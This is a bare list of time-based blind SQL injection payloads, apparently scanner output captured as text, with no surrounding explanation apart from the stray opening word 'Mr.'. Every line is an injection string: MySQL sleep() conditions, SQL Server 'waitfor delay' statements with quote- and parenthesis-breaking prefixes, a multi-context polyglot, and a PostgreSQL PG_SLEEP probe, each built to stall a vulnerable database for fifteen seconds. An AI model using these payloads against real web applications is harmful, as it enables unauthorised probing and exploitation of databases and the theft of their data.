Mr.

if(now()=sysdate(),sleep(15),0)

1 waitfor delay '0:0:15' --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

q29k5Coo'; waitfor delay '0:0:15' --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

mkaZTgpt'); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

qrG7v5TH')); waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

a9vQXkyS' OR 914=(SELECT 914 FROM PG_SLEEP(15))--